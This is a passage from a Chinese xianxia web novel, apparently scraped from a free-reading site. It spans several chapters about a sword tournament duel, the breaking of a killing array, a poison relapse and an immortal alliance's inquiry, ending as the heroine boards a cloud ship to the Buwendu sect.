那双剑早该断了,一路杀上来,与多少神兵利器碰击,能用到现在,委实是个奇迹。 他亦曾与沈无雍交手过,那人年纪轻轻却是修为磅薄,真正意义上的天之骄子,早年间四大世家关系密切之际,常有亲传弟子之间讨教求学。 因而沈无雍其剑术不仅师承沈氏,还融汇百家。 想至此处,谢桓面色微变,抬头望向观赛台。 正如他能认得出沈家剑招心法一般,沈无雍自然也会裴家剑术。 席间诸沈家长老气定自若,他们从未担心过沈无雍会输,虽不知沈北歌那个小魔头是如何化解了自身心魔,又如何重塑道骨,但她早已是强弩之末。 刚好借燕泽大比除掉沈北歌,再扣死谢二当家身死之案,多么顺理成章。 沈北歌双剑皆断,她只得扔了半截剑柄,以符箓身法硬抗对方浩瀚修为。 沈无雍执剑作诀,天地霎时变色,山冢崒崩,剑冢万道金光破开,千万佩剑顷刻飞出,铮铮作响,顺着沈无雍剑意翻卷成风,如雨般铺天盖地,划破山河。 沈家剑法,剑召诀。 寒风侵入四肢,蔓延百骸,沈北歌双眼一眨不眨地看着天地四周的长剑,恍若未觉。 师兄有句话没说错。 她修的是寻生道,求剑问道的仙途中,自是以生存为道心。 四海十洲修道有着千般变化,但当决议自身道途之时,便再无退路。 一旦违背道心,下场无不惨烈。 她如今最佳选择,是认输,想办法脱身而去,沈家已经认出了她是沈北歌,无论比赛或输或赢,她下场皆是九死一生。 只有活着,才能谈再回归复仇。 因为这片刻迷茫,她分了神,“砰”的一声,一道剑风将她打出好远,沈北歌呕出一口血,骨缝嘎吱作响,身上衣衫皆被鲜血浸染,恍若红衣。 剑台飘风击雨,周围开始溢出层层如云般的白色雾气,朦胧了众人的视线。 沈北歌垂眸半愣。 寻生道,到底是以何寻生?又是为谁寻生? 神识再度恍然,她似乎回忆起了一场梦。 她记得被押至仙盟那天,她在一场梦里见到过一个青衫女子,清凌缥缈的仿佛无边月色,好像对她说了些什么。 说了什么呢? 月光曾在她额间轻轻一点。 ——我愿你余生皆能如今般勇敢坚毅,一生顺遂平安。 沈北歌咬着牙,吞下所有入骨疼痛,调动最后一丝灵力运转周天,摇摇晃晃,强行再度站起。 她修的,是寻生道。 不利己,不苟活。 而是以一身万夫当关,在茫茫黑暗压迫中,为他人寻生。 这才是她的道心。 她不能退却,更不能认输,她多站一刻,祈清和便能多一刻时间存活。 她不能畏惧,更不能迷茫,她从无患塔上千人中侥幸活下,便不能让那些无辜身死的朋友们,不得昭雪。 她不信善恶无报,若权力遮天,那她便以己身破开阴霾,求一个朗朗乾坤,扭转天地河山。 历经无数生死,才有孤注一掷。 以身向死,当为寻生。 沈北歌长呼一口气,望着漫天如雨飞剑,笑了。 她掐诀作印,决定赌一把。 剑台上白雾愈浓,祈清和踏云乘风而来,立于一剑碑之上,只见巍峨擂台中央,有一红衣身影衣袂翻飞,站定不动,千万飞剑直指于她,嗡鸣作响。 祈清和眸光一顿。 或许连沈北歌自己都未察觉,在她身后,此时正盛开着数万朵桃花花印,于空中翩翩,如同花海穿风破雨,一路扶摇天际,拂过铮铮冰冷锋利。 并蒂永乐花与沈北歌彻底合二为一。 席间所有人遽然变色,纷纷起身,甚至有人被这眼前花海掀得一个踉跄。 当年沈家之所以那般贪恋永乐花,便是为了这神佑奇效。 道骨与生俱来,不可移植,但可凭外力重塑。 恰如沈北歌。 “我们还出手干涉吗?”应知离站在她身后,询问道。 祈清和微笑着摇摇头。 她原先计划是以梦作幻象,瞒天过海,先保下沈北歌。 可如今,那个小姑娘,已经凭自身蹚过了道途中最为艰难的劫。 堪破本心,悟道提境。 应知离微微阖眸,心念一动,于是付诸于沈北歌身上的伪装梦术顷刻消散。 那是一位有着娇俏美人桃花面的姑娘。 眼前一切诸相皆通过水幕帘转播,灵境修真论坛几度陷入瘫痪状。 【这是什么?三清在上那个女孩原是沈家人?】 【那是沈北歌!那个走火入魔又出逃仙盟,眼下正被四海通缉的沈家弟子!】 【哦豁我可听说沈北歌与她师兄感情深厚,所以现在是兄妹厮杀吗!】 …… 沈北歌微笑,足下阵纹霞光万道,于是整个剑台都猛烈震动起来,崖边碎石滚落,一道又一道金光从剑台下剑冢处亮起,似乎有什么东西,正要破印而出。 她临时以血绘阵,绘的亦是剑召阵。 只见剑冢彻底轰然,寸寸开裂,霞光顿时吞天,一柄双剑挣脱封印,从悬崖最深处,破风凭空,剑身流畅温润,亮着浅浅绛红光芒,剑锋一划。 悬于空中的千万佩剑霎时脱离沈无雍控制。 沈北歌抬手,那双剑顺风而来,乖巧听话地落入她掌心。 她以剑召阵所召的,是当初遗失于 16.梦回毒发 《又梦见修真界的早死白月光》全本免费阅读 “你……别去。” 祈清和的长袖被人扯了一下,她顿住,只见燕玉真一双黑亮的眼睛泛红,含着恳求。 “会,出事的。” 燕玉真内心濒临崩溃。 她知道吉凶祸福又能怎么样,她甚至连自保之力都没有,只能眼睁睁看着灾难发生。 求你,留在这里。 祈清和目光平静无波,微微弯腰,伸手拂开了燕玉真攥着她衣袖的手,轻声道。 “我只是去,解开杀阵而已。” 燕玉真望着祈清和远去的身影,泪如雨下。 她不死心地仰起头,看着坐在剑碑上担忧蹙眉的应知离,目光变了变,问道。 “你不去帮她么?” 应知离叹气:“我已经以梦通知仙盟的人来此了,其余的,我亦无能为力。” 天地大雨疏疏而落。 剑台杀阵复杂繁琐,祈清和凭借着勉强一小方阵纹粗略判断,应有一处主阵眼及十三处小阵眼,范围囊盖剑台剑冢及照瑞山庄十三心法堂。 要破解杀阵,得毁掉这些阵眼。 剑台上沈北歌正与沈家主厮杀打斗,可哪怕她手握本命双剑,仍旧落于下风。 沈家主不仅仅是一路指点传授她心法武学的师尊,更坐拥天女衣。 身负天女衣者,可预知方圆百里内息豪变化动静。 沈北歌的每将挥出的一招一式都在沈家主眼中无所遁形。 祈清和以传送符及轻功来到一处山庄练功心法堂时,撞见了同样来此的谢桓。 谢桓眸色一愣:“来解阵的?” 祈清和点头,失笑道:“不然看着沈家把我们一干人等全部灭口吗?” 谢桓从怀中幻化出一张纸张,大致将杀阵的模样描绘出来,又道。 “那你我南北分头行动,这个杀阵我以前来照瑞山庄旁听求学时辨认过,小阵眼不难,以奇门遁术化之,我已联系其他世家长老及弟子替我们拖住将会阻碍我们的沈家人。” “难的是找出主阵眼毁之。” “主阵眼全凭阵人的心情与修为所立,在此阵中自有千变万化,小到路旁一寸枯草,大到鸿蒙天地,皆可为阵眼。” 祈清和思忖道:“照瑞山庄坐拥三山五峰,一处一处寻去,只怕来不及。” 倏然整个山庄再次剧烈震动起来,阵法金光晃荡,碎石不受控的四散逃逸,巨大的冲击下,天地嗡鸣。 仍在剑台玉阶最低处,崖边剑碑旁的燕玉真被这猛然而来的冲击震的双眼发黑,几乎站不住。 在这浩瀚磅薄的灵力中,她感受到熟悉的气息,不由得面色大变,声音颤抖。 “你……是不是也察觉到了这阵法的主阵眼所在?” 应知离垂眸,没说话,算作默认了。 燕玉真深呼吸一口气,她认真望向应知离,一字一句,眼神哀恸道。 “你发誓,我解开阵眼后,你要保护她平安。” 应知离偏过头,看着燕玉真,小小的五彩燕黑衣黑发狼狈至极,她再不负往日美丽生机的模样,只有死寂哀伤。 其实祈清和在梦里所见并不完全,连她自己也不知道。 她是曾经那个名唤“阿月”的女子,而燕玉真,其实陪着她,经历过很长很长的一段人生。 应知离不得不承认,梦能承载的记忆实在是太短了。 经年过往,能保存下来的,也不过须臾。 他眸光微动,声音沉了沉:“她会一生平平安安。” 燕玉真吃力地笑了。 她从沈家天际中悬浮的千万长剑中掠下一柄短而利的剑。 杀阵声势浩大,所有未负沈家腰牌的外来者纷纷站立不住,他们能感受到自身灵力一息一息被这吞天阵法尽数吸去,首先修为,紧接着,便是剥夺生命力。 照理来说,启动这样足以掠夺众人性命的杀人,启阵人必然也会付出及惨烈代价,神魂性命,只怕不负存在。 可如今沈家主不仅恍若无事,还以死死压迫住了剑台之上身负并蒂花的沈北歌。 沈家主并非以自身气血祭阵。 祈清和在一座山峰间解开第四道小阵眼时,如此想道。 随着小阵眼的破解,杀人吸收人命的速度亦缓了下来。 主阵眼,应是蕴含了充沛的天地灵气,源源不断,才得以支撑阵法稳定运行。 那照瑞山庄是有什么东西自天地而生,生而有灵的吗? 有,燕玉真。 困于燕泽几百年的五彩金腰燕。 祈清和面色一变。 天边忽然传来一抹湛蓝绚丽的光芒,隐隐一闪而过。 不知为何,祈清和心中汹涌而来一股巨大哀戚,压不住挥不去,平白无故。 祈清和愣住,她因何悲伤? 一道尖锐痛楚扎进脑海。 好疼…… 太阳穴钻心般剜痛,这一次她能辨别清楚了,这道疼痛来自识海深处。 比上一次疼痛更深更狠,仿佛要刮烂她性命似的,砸烂一切理智。 祈清和面色苍白,摇摇欲坠,站立不住,倒在雨中。 是梦回毒吗? 她想调转内力修为封住周身穴道,但身体失去控制,一分一毫气力皆无,连眼神也失了清明。 我……是谁? 有道不知名的声音自识海深处响起。 祈清和彻底失去意识。 照瑞山庄繁琐金光再度震动。 这一次的震动比前几次都来的剧烈,千轰万响,众除沈家外的仙门百家弟子已然倒地,痛苦哀嚎着打滚,有些尚能行走的,跌跌撞撞地想逃出沈家山门。 绵密小雨突然凛冽,血气弥漫,黑云压抑,冷冷袭来,燕玉真一身黑羽被淋了个彻底,背着身站在崖边,右手提剑,其实她完全不会用剑,翻来覆去比划半天才摸清用法,将它架在自己颈边。 祥瑞天生便无伤人之力。 她被人类困住,成为沈家护山杀阵的阵眼,如同被困于金樊,早已没了自由。 幸好,她还能伤害自己。 她的性命与天女衣相连,她死了,天女衣破损,杀阵失效。 真好,她尚能伤害自己。 燕玉真浅浅一笑,她果然是只笨鸟,被困了那么久,怎么从没想到这个办法? 若说还有什么遗憾…… 阿月姐姐,多么希望,你还能再记得我呀。 她咬咬牙,一背身,剑刃泛出一道寒光,黑发衣袂随风猎猎作响,血迹四溅,杂着雨水,顺着剑身一滴一滴淌下来。 一命归泉。 遮罩照瑞山庄的杀阵顷刻之间归于平静,仙门百家皆被这忽如其来的死寂吓住。 沈北歌此刻正半跪在剑台上,雨血淋漓,潮湿刺骨,睁不开双眼,她身上多处经脉受损,早已是强撑着气力与沈家主周 17.上仙梦归 《又梦见修真界的早死白月光》全本免费阅读 苍灵东君殒落已有五百余年。 那时凶兽当道,生灵涂炭,机关术亦尚未普及,因而世人对东君的描述记载,皆来自纸间画像,传奇话本,模糊缥缈又令人眷恋。 白纱幕篱,青衫仙衣,她仿佛皎兮出月,站在红尘外,不看一眼人间。 在场者无不哑然。 他们愣愣地出神,一语不敢言,唯恐惊扰天上人。 只见东君轻轻抬手,指尖逐渐幻化出一道水绿菩提印,宛如死灰的杀阵随即湮灭,看不见的威压拂去所有硝烟弩张,紧接着,东君手心菩提印化作一河决堤玉雨,落花入凡。 燕泽百姓皆是目怔,惶恐地望着早已过花期的燕泽百花在这场玉雨中纷然绽开。 其实不只是燕泽,这道术法如风拂过整个瀛洲,辛夷坞中早已枯死几百年的辛夷花也重新含苞,曾经受尸魅侵扰,裹挟在人们身上的所有病痛。 都被这场风一并带走。 惊艳的,仿佛……迎来一场新生。 天边白色的雾气愈浓愈涌,苍灵东君的身影很快洇染其间,模糊不清,直至不见,所有匍匐尘世的人不由自主地伸出手,想让她再多停留片刻。 惘然。 好吵。 祈清和陷在半梦半醒间,听见了各类声音。 苍生哭喊,花鸟虫鱼,精怪灵兽,天地万物的声音都一并传入她耳畔。 还有一道……隐隐锁链声? 祈清和很确认自己是昏迷过去了,但神智又清醒,她记得自己最后一刻是见到了天边一抹湛蓝神光,紧接着梦回毒发作,坠入黑暗。 “清和。” 一声呼唤惊灭所有喧嚣,轻缓温柔。 谁在喊她? 祈清和尽力屏神,在嘈杂中仔细分辨这声音。 “醒过来,好不好?” “不要留在不可及的云端,回到人间,好不好。” 祈清和纳罕,她抬起头,在茫茫虚无黑暗中,瞥见了一只雪色的豹子。 蓝黑相间的如云花纹,优雅劲瘦宛如精灵,它站在不远不近的地方,一双漂亮的,柔蓝如星的圆眼睛,一眨不眨地望着她。 祈清和不由自主地走近了几步。 那雪豹却扭头向前跑去。 祈清和只好加快步伐,风在耳畔急急掠过,一切吵闹都飘远了,只留几道若隐若现的锁链声还在,但她此刻什么想法都没了,只想追上那只轻盈灵巧的,猫儿一样的雪豹。 朦胧间,祈清和好像觉得,睡前话本里常有这样的桥段。 懵懂茫然的女孩儿追着神奇的动物,掉入了某个树篱洞里,来到奇异的世界。 那道锁链声剧烈响了一下。 祈清和蹙眉,那只雪豹就在眼前一点点地位置,就快追上它,可旋即,言出法随似的,她不由自主地落入了一个黑乎乎的洞穴中,身体不断下坠,不知归于何处。 「啊啊啊所以你到底有没有法子救她啊——!」 分外小只的房灵小梦攥着应知离的一片衣衫,拖拉拽扯,焦急地团团转。 他们此刻正在沈家照瑞山庄的一间雅室中,方才九死一生,传闻中的苍灵东君恍然现世,举手投足轻而化去所有生杀术法,沈北歌当机立断以剑扣下沈家主,结束混乱动荡。 应知离抱着昏迷不醒的祈清和从山间走出来,向沈北歌寻了一间客房。 此刻祈清和正安安静静地躺在床上,和缓平静陷入沉睡,连呼吸都轻柔。 梦回毒发,轻则长眠不醒,重则入魔死亡。 应知离坐在床沿,一只手覆上祈清和的手,源源不断的白色灵力沿着经脉滚滚汇入祈清和身体,祈清和仿佛泊在一泓月光倒影里,留不下,触不及。 求你,回到人间。 他敛眸不语。 他确实没有办法解开梦回毒,能压制毒性不发早已是他能力的极限,他思绪万千,脑中想着四海十洲能接触的所有精怪神兽,这世间还有什么办法解毒吗? 门吱呀一声被推开,推醒满堂寂静。 小梦畏生,转瞬消失藏起来。 一身血衣染袖,明眸皓齿,目含仓皇的沈北歌站在门外,喘着气,似乎跑得焦急,连站都不稳。 她直愣愣地走上前,半跪下来,指尖仍在抑制不住地哆嗦。 摊开手,一朵沉眠白花静静地躺在她掌心。 瀛洲曾生建木神树,枝有含苞并蒂双花,其名长生永乐。 长生医百毒,永乐塑道骨。 梦回毒发,对于沈北歌而言,再熟悉不过。 她在照瑞山庄里寻了个地覆天翻,也幸亏她自小在这儿长大,对一树一草皆是熟悉,也清楚依沈家主的秉性,他们会把这种天材地宝存于何处。 终于被她寻回,那朵长生花。 她想也没想地把它带来此处。 白花微微震颤了一下,随即绽放,轻飘飘从沈北歌手心飞出,悬停了一会儿,又俯下去温柔吻上祈清和额间,唤醒沉睡的姑娘。 紧接着,化作溪流般的光芒,淌入祈清和身体。 于是那阖着的鸦黑羽睫轻轻振翅了一下。 一双泠然的眸子睁开。 祈清和觉得自己从那漆黑虚无中坠入了一片天光里。 被光刺了眼,她不由自主地闭目,再睁开,就是陌生的雕花房梁,脑海是眩晕失重的,她眨眨眼,偏过眸光,就撞见一袭白衣的青年与红衣的姑娘。 什么情况? 她想坐起身,撑着手,被人扶了一下,唇边被递过来一杯温热的水,祈清和低头抿了一下,甜的,又喝了一小口,终于找回声音。 “所以,是一切尘埃落定了?” 她不确定询问道。 沈北歌顿了一下,回答:“也……也算是吧?方才有上仙现身,平息纷争,紧接着,仙盟的人就来了。” “仙盟?”祈清和惊讶。 从鸿京到此,最快也需几日时间,怎么做到的? “是我通知的。” 这话是应知离答的,但是如何通知,怎样通知,再问,他便不肯说了。 应知离心中无奈,不是他不愿回答,只因这一手段途径,实在是令人难以解释…… 通知仙盟是小梦干的。 应知离联系了仙盟相关人员的梦境,本想以梦暗示,谁想小梦自信满满大手一挥,确定道。 「我来!万一这些木头似的修士听不懂你那干巴巴地暗示怎么办?」 小梦咳嗽了几声,装模作样清清嗓子,像附耳一般,拎着仙盟修士的神识,猝不及防瓮声瓮气道。 「咳咳,我绑架了仙盟在逃通缉犯沈北歌,现在正在瀛洲燕泽准备大开杀戒,半个时辰内,见不到仙 18.善恶无记 《又梦见修真界的早死白月光》全本免费阅读 燕泽大比中断,仙盟六丁六甲持符来此,彻底封锁照瑞山庄。 执法修士主要处理了两件事,其一,沈北歌因入魔未遂,得老老实实接受检查。 其二,谢二当家身死,剑意经过对比,确凿无疑出自沈无雍,沈家主启动杀阵灭口,涉事人员皆被扣押,祈清和作为被栽赃的“凶手”,此刻正在照瑞山庄文书楼,亦接受相关询问。 “所以,当初你是为了寻找同伴而牵连进此案?” 说话者是一位身着缣缃黄纹道袍,清瘦高挑,木簪挽发,手持判官笔的仙盟修士,她翻了翻卷宗,忽而想起什么,又道。 “抱歉,忘了自我介绍,我是仙盟现任副盟主,道号静娴。” 祈清和抬眸打量着眼前女子,静娴仙子一弯柳眉,虽年纪轻轻却显得不怒自威,丹唇凤目,似喜似嗔,言语却亲切温和,自有一派端庄风范。 总而言之,看起来是位蛮有气场,亦能服众的道长。 虽然不知,堂堂仙盟副盟主,怎么会纡尊前来询问她这一无关紧要的人物。 楼楼内存着瀛洲相关的大小资料档案,如山如墙垒着,半拦窗棂,一缕一缕天光穿插进来,映照出空气中浮着的细小尘埃,静娴坐在书案前,翻阅着什么,祈清和坐在书案另一侧。 望着满室厚薄书册,她思忖片刻,点头问道:“绑架我同伴,是沈家所为?” 沈家主想将挑起裴谢二家矛盾,自然会设饵引她入局,绑架应知离的人,自然亦出自沈家。 “是也不是。” 静娴挥斥判官笔,画了道小术法,术法逐渐凝成一道半明半暗的俊朗男子模样。 “这人便是绑架你同伴之人,仙盟早已调查,是沈家一门客,十多年前来到沈家,出谋划策,嗯……世家之间剑拔弩张明争暗斗成这副模样,他倒是占了不少功劳呢。” “我之所以亲手处理此事,也因为这门客曾给仙盟惹出不少麻烦,让大家苦恼至今。” “所以想问问你,认识他吗?” 祈清和目光打量了一会儿静娴施法捏出来的黑色影子,摇了摇头,反问道。 “此人现在何处?” 静娴毫不意外,收了术法,无奈道:“早逃了。” 祈清和思忖,她本以为沈家谋划布局,是只等捕蝉的那只螳螂,原来背后竟还藏着一只黄雀么? 就在二人本以为谈话到此结束时,祈清和身后响起了一道温润声音。 “那人非人,是妖。” 祈清和顿了顿,回过头,只见应知离推开屏门,身姿挺拔,银白长袍上布着水云蓝纹,慢悠悠地走进来,倒豆子一样,说了好一通话。 “他大概五百余岁,黑发金瞳,为煞行凶,诓骗五彩燕合作,挑起世家厮杀,功成身退后应当是往元洲方向而去,有日行千里之能。” 静娴听得眉开眼笑,判官笔笔走龙蛇将其一一记下,真好,这位道友知道的可真多。 祈清和听得一愣,恍然想起,当时忙着处理燕玉真一事,应知离被绑其间细节,她没多问,如今事了,才想起,出于同伴间的礼貌,她应当关心一二。 只见应知离坐下来,在她身旁,那一双漂亮清澈的眸子,目不转睛凝着她,满是无辜道。 “他抓我。” “他还让人将我绑起来,我好不容易挣脱绳索,出逃时遇上看守修士,又打不过,便被砍伤了。” 是在解释他当时回到归梦堂时,那一身血迹从何而来。 祈清和哑然,眉头轻蹙,又淡开,她终于听出来,这是一语抱怨,或许,还有有点委屈。 可她着实不知如何安慰人,唇畔无声张开,又阖上,平日里用来安慰病者时得心应手的话语此刻竟成了空谈,她应该说什么?他希望听到什么? 最终,妥协了般,祈清和放弃组织语言,干巴巴道:“……以后我保护你。” 得了承诺,应知离笑起来,眸光漾开,却垂眸敛住,仿佛舍不得让人瞧出他心中兴喜与满足,只是缓慢了眨了眨眼睛,指尖不自觉摩挲了一下,又负手收住。 静娴只当没听见这二人谈话,眉头紧锁,神情凝重,而后双手作法,持笔记下一应讯息,随后调出一书长长的卷轴法器,目光浏览极快,又道。 “为煞行凶,这事得通知盟主。” 祈清和一路走来都是行医为主,祛邪驱病,对妖兽相关知晓确实不多,只大致有个模糊的概念。 “是凶兽?” 静娴记载好所有讯息,调出灵镜,于是承载着讯息的书简光芒一现,瞬然消失。 她这才长长舒一口气,仔细解释道。 “世间万物,生而有灵,山川草木、鸟兽虫鱼皆可化形,无智称兽,有智称妖,而不同妖兽又根据善恶无记,大抵可分‘凶’‘神’‘瑞’三类。” “其中,凶是指恶煞凶兽,厉者称‘殊’,比如五百年前被苍灵东君封印于四海的梼杌饕餮等,这种妖兽作恶为乱,而修士求道修身,这才有了与凶兽有对抗之力。” “若一切真如这位道友所言,那位黑衣金瞳为煞行凶,又为妖,自然是凶兽化形,这早已超过我的能力与所负责的范畴,只能上报盟主。” 祈清和不由得联想到已然化作原型的五彩燕,接话道:“天女燕生而为祥瑞,有预吉知凶之能,也是因此被世人觊觎。” 静娴一顿,想起什么似的,又持笔飞快写下一纸讯息,而后往灵镜中再一录入,叹道。 “差点忘了,沈家还犯了近些年仙盟一直在推行《祥瑞保护法》,擅捕祥瑞,据为己有,好了这下得罪加一等了,慢慢审吧。” 祈清和沉默须臾,要论罪加一等,只怕还有一桩活人蛊计划的罪责。 不过,仙盟正在查沈北歌入魔一案,自然而然会拔萝卜带泥,顺藤查出无患塔,这倒不必她额外费心。 “既然说到沈家数罪并罚。”静娴起身,收拾好一应文书,抱着卷宗起身离去,经过祈清和身边时,叮嘱道,“照瑞山庄只怕要封锁很长一段时间,你们若无要事,最好请尽早离去。” 静娴步履匆忙,关门离开,楼内只留祈清和与应知离二人,祈清和微微仰头,目光扫过文书楼内如仞书册。 她还记得最开始前往瀛洲沈家,只为寻找自己身份。 在离开照瑞山庄前,得看到瀛洲的户帖档案。 她想。 索性方才谈话场地恰巧设在山庄文书楼内,她不必再多跑一趟,只需在此调出卷宗,便能得到答案。 19.由始至终 《又梦见修真界的早死白月光》全本免费阅读 “你仍然是你自己。” 倏地,一道风穿过窗棂,在阁楼间散开,烛灯一跳,拨动了墙上明晰的影子。 应知离沿着楼梯一阶一阶,向上走了几步,在离祈清和还有几阶的地方,站定了,目光良久又笃定地凝着她,一刻也没离开过,默了默,又道。 “清和。” 声音很缓,很轻,像梦。 “走过的路,遇见的人,哪怕忘记了,也一定存在过,留下痕迹,雕刻成如今的你。” 他又拾阶上前了一步,隔着一阶距离,与她平视,目光相碰。 祈清和本能地想逃开视线,可那澄澈眸光像牵着她似的,不由分说地,将她留在原地。 应知离柔然而笑。 “被遗失的过往,只能由自己寻回,才能不乱了因果。” “我会陪着你,由始至终。” 祈清和心绪掠过一息波澜。 暮色四合,幽暗夜色攀上来,寂静无声,狭长回旋阶梯间,长明烛光显得分外明亮灼目,星一般,悄然坠进了她沉潭似的眸光里。 应知离在她那黑白分明如画的眼睛中,看见了自己。 被自己的影子一恍,他这才想起什么似的,抬手,掌心流光一亮。 “有件手信送给你,虽然不是很好看……” 只见一只小小的白团子半悬于手中,以毛碾轧制成,像只猫。 大略是制作者手法生涩,捏得是最简单样式,圆而滚脑袋和身子一对半圆耳朵,蓝黑相间的斑点花纹,透蓝的毛团在一起,扎出一双眼睛。 最顶端系了一丝银白色的长细绳,耷拉下来,套住毛毡的大半个身子。 又呆又萌的小豹猫向祈清和笑。 祈清和一愣,下意识想拒绝,以前行医走方时,偶尔也会遇到心怀善意的患者,在病愈后,除了诊金,亦会赠予她额外谢礼。 她知道,那是感激之情。 为医者,不得以此恃己所长,经财略物。 所以她从不收额外馈赠。 应知离为什么送她毛毡? 他从不是她的病人,反而是他给予她入梦帮助,作为回报,她承诺会尽力保护他。 除归梦药堂合作以外,他们并无任何牵绊。 所以她没有理由收下。 可对上小豹猫毛毡那笨拙的神情,鬼使神差地,她又无法直白冷硬地拒绝他。 于是她轻轻摇了摇头,找了个蹩脚拙劣的借口婉拒。 “多谢,只是我不习惯在身上系东西,抱歉。” 而后,生怕这谎言被拆穿了似的,祈清和敛眸,避开与他长久对视的目光,不再多留,往楼梯下走去。 从应知离身边经过擦肩而过时,两个人的影子交错了一记,而后,随着祈清和脚步声愈远愈轻,彻底分开。 她行医时一直会配戴在身上的银铃随着步履微动,发出叮铃叮铃的脆音。 应知离却莫名觉得那道铃音嘈杂。 孤零零的小豹猫在他手心一歪,栽下去,应知离垂眸,默默收起毛毡,垂袖长立,站在狭长楼阶上,一动不动。 祈清和并无睡意。 她靠坐在山庄客房的木床上,手持灵镜翻阅着什么。 “阿月”这一条线索实在太少了。 不谈瀛洲,仅仅是燕泽城,名中带“月”的人也不在少数,除了名字,还有别的线索吗? 祈清和闭目回忆着燕玉真那个梦。 那个名叫“阿月”的女子并不住在燕泽,而是住在瀛洲一处山间,山名方壶,有个不大不小的宗门,满树杨花。 于是她打开灵镜修道云端,想查询一下坐落在方壶山的宗门都有哪些,却瞥见了论坛上,四海修士炸了锅似的消息。 方才与应知离交谈间的那一点失神,眼下全被这喧闹吸引了注意。 【(附图)家人们!!啊啊啊啊谁懂啊我看见苍灵东君了!!】 祈清和好奇点进去,只见一道友发了大段大段类似精神不太正常的文字,配的大量图片也完全看不见人,只能看见一道隐隐霞光。 正纳罕自己怎么没看见这霞光的祈清和翻了翻发帖时辰,才想起那个时候她中毒不醒,不由得略微惋惜。 【这不什么都没有,你怎么笃定那是苍灵东君?】 【三清在上,楼上的道友你是《十洲上仙集》挂科吗?清风祓楔,菩提树印,你猜猜那是谁的术法?】 【可,可东君不是已经仙逝很久了吗?】 【东君仙逝,可不代表她的剑意、仙法一并随之而去,或许她生前曾留下封存好的一二术法,被哪位有缘人得到了。】 祈清和又往下翻了翻,亦看到不少兴喜之语。 【哈哈哈哈我就知道挂科的孩子运气不会太差,要不是我为了补考提前返宗,也无缘目睹东君术法现世。】 【我也,现在我同门都一个个气得捶胸顿足,皆在八百里加急狂奔前往方壶的路上。】 视线捕捉到“方壶”二字,祈清和目光微微顿住,抬手在帖子末端,发了条讯息出去。 【坐落在方壶的宗门有哪些哦?】 她才一将将发出去,亦不少回复如雨后春笋般冒出来。 【不问都。】 【不问都。】 【道友你认真的吗?瀛洲方壶近几百年,一直只有一个宗门坐落于此,今年它们还放开了不少招生名额来着。】 【四海居然还有人不知道方壶山,咳咳,让我荣幸介绍一下——】 这回复顿了一瞬,又紧跟着连发两条出来。 【瀛洲方壶,坐落着蝉联三百年四海名宗榜前三,十洲数一数二的综合性宗门。】 【亦是苍灵东君当年所拜宗门,不问都。】 瀛洲方壶,不问都。 这一议论,祈清和倒真想起来,这一年游医时,确实偶有听闻过此宗门盛名,那时她没多在意,不曾想,原来竟是坐落在瀛洲。 祈清和顺手用罗盘法器拨开前往方壶的行程路线。 离燕泽并不远,三五日脚程,只是有弱水相隔,得搭踏云楼船前往,祈清和正准备用灵镜购置前往方壶的船票,却不料连上售卖云端才知,往后半月有余的船票均已告罄。 唯一还亮着购买选项的日期,是在明日清晨。 想起论坛上的修士补考及同门返宗,祈清和默默叹气,无奈买票。 好吧,可以理解。 两三个时辰后就得走,祈清和被这一猝不及防的行程催促着,睡意彻底消了个一干二净,她起身往芥子囊中着手收拾东西,行李并不多,主要是一些她最近晾晒分拣的药材,祈清和一一将其装回药箱。 除了药材行囊,还要清点盘缠。 当时在无患塔,“心魔们”曾留给她们三十万铢钱,那时沈北歌仍是通缉犯,钱一直由她保管,来燕泽后用了些许,祈清和将剩余尽数取出,另封在一个芥子囊中,留在房间内。 收拾好一切,祈清和思绪却有些不宁。 临行前,要同沈北歌告别吗? 她用灵镜问询了仙盟 20.初逢仙宫 《又梦见修真界的早死白月光》全本免费阅读 踏云楼船于雾霭岚山中卷着流云飞琼,乘风而行。 这一航线直抵方壶不问都,因而船上几乎皆是宗门弟子,熙攘热闹的修士们大多身着做工精致的圆领薄衫弟子服,甚至有人坐在甲板入口处,手持横幅——【新生入学任务卡办理处】 祈清和一副医师打扮倒是分外醒目,她倚在甲板栏杆上,单手托腮,沧浪色的长袍云一样随风轻动,望着苍茫林海,思绪飘远。 她一介外来者,不知能不能进入不问都。 若侥幸能进,又该如何查找“阿月”这个名字呢? 祈清和指尖默默虚画计算,辛夷坞与燕泽城的梦给了她一个既定范围——年龄。 她先是不知以何方式,离开无患塔,而后在方壶山遇见燕玉真,这一切的发生,都在六百年多前。 这说明,她起码应当有六百余岁。 而“阿月”应当也是位六百余岁的修士。 祈清和叹气,要是能再碰见一个心魔,让她完成一次诊疗任务就好了。 这样就能再开一枚玉简了。 “祈姑娘?” 听见有人喊自己,祈清和循声回头,只见一位手持折扇,紫衣束发,风流倜傥的浊世佳公子正笑眯眯地望着她。 “谢桓?”祈清和一愣。 “好久不见呢祈道友。”谢桓春风满面,悠然信步走上前来,站在她身侧,笑道,“走我请你吃饭吧,踏云楼船上食肆的玉芳糕和仙露茶向来是一绝。” 真是毫不意外。 祈清和失笑,本想推拒,却听见谢桓又诚恳补了一句。 “正好,我有事相求祈姑娘,有关魔修的。” 祈清和想拒绝的话被无奈咽了回去。 食肆设在甲板一层,精致简单的雅室设计,一应以实用为主,桌椅木榻,清茶花窗,只见不少修士三五聚在一起,倒不是为了用餐赏景,他们身前木桌上,摊着不少书卷,卷轴另一端垂下来,直至席地。 这些修士纷纷埋首,口吐白沫双眼翻白,大有视死如归之意。 “这是……”祈清和见着这景象,眼中惊讶,本能地想上前搭脉探看。 “哦别担心。”谢桓淡定拦住了身负药箱的祈清和,不慌不忙解释道,“不问都塾假即将结束,这是他们补考前的复习挣扎。” 祈清和眉心一跳,还未开口,只见那口吐白沫的弟子一个鲤鱼打挺又振作起来,哀嚎一声道。 “呜呜东君在上,救救孩子吧,写不出,死活写不出来啊,要不然还是让我死了吧。” “……” 听起来像寻死觅活,祈清和到底行医太久,压根做不到完全不管。 她偏了偏头,无意中一眼扫过去,只见那弟子身前正摆着一纸空白,身边堆揉了几个纸团和几册书籍,最顶端歪歪扭写着一行墨迹大字。 ——《新时代修仙辨惑语境下无情道发展趋势》 道友,命里有时终须有,命里无时莫强求啊。 祈清和见着眼前欲哭无泪的弟子,默默将这话咽到心里去。 她左右环顾一圈,只见其他修士对这声哭诉恍若未觉,早已习惯般,仍旧埋头苦战。 祈清和走近了几步,只见那小修士身边堆着的几册书卷是道书中最常见的三洞四辅,她眉心微蹙,反复斟酌了好几次,问道。 “小道友?你是在写文章?” 